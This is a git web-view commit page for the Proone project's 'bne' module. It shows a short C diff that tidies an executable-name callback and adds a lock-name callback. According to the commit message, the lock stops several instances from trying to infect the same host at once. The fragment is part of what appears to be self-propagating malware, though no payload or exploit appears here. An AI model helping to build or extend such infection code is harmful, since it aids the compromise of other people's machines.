aboutsummaryrefslogtreecommitdiff
path: root/src/proone-bne.c
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2021-08-13 18:22:35 +1000
committerDavid Timber <mieabby@gmail.com>2021-08-13 21:50:26 +1000
commit73799fe772152089a6c57aa339f08426cf3eaf11 (patch)
tree6f7c7d2b6266c84ef49499791f252bea2feccd81 /src/proone-bne.c
parenta685a85d71e4948c61e811ca24c7b85d601bfcba (diff)
Impl bne ...
* Add upload lock mechanism to prevent multiple instances trying to infect the same host simultaneously * Add "upload guard". The upload guard cleans up the lock file and the upload directory in the event of upload failure * Fix bug in bne_vssh_flush_f() * prne_strzero() accepts NULL * Fix Proone: missing prne_dvault_reset() calls
Diffstat (limited to 'src/proone-bne.c')
-rw-r--r--src/proone-bne.c14
1 files changed, 6 insertions, 8 deletions
diff --git a/src/proone-bne.c b/src/proone-bne.c
index ccecccd..89a5d7f 100644
--- a/src/proone-bne.c
+++ b/src/proone-bne.c
@@ -364,14 +364,7 @@ static void report_result (const prne_bne_result_t *r) {
}
static char *cb_exec_name (void *ctx) {
- static const char *EXEC_NAME = "proone";
- const size_t len = strlen(EXEC_NAME);
- char *ret = prne_alloc_str(len);
-
- prne_assert(ret != NULL);
- memcpy(ret, EXEC_NAME, len + 1);
-
- return ret;
+ return prne_dup_str("proone");
}
static uint64_t cb_uptime (void *ctx) {
@@ -453,6 +446,10 @@ static bool cb_upbin (void *ctx, const char *path, const prne_htbt_cmd_t *cmd) {
return true;
}
+static char *cb_bne_lock_name (void *ctx) {
+ return prne_dup_str("bne_lock");
+}
+
static void do_run_upbin (void) {
for (size_t i = 0; i < prog_g.upbin.args_size; i += 1) {
if (prog_g.upbin.args[i] == 0) {
@@ -554,6 +551,7 @@ int main (int argc, char **args) {
prog_g.bne_param.cb.vercmp = cb_vercmp;
prog_g.bne_param.cb.tmpfile = cb_tmpfile;
prog_g.bne_param.cb.upbin = cb_upbin;
+ prog_g.bne_param.cb.bne_lock_name = cb_bne_lock_name;
for (size_t i = 0; i < prog_conf.targets.cnt; i += 1) {
prne_worker_t *w = prne_malloc(sizeof(prne_worker_t), 1);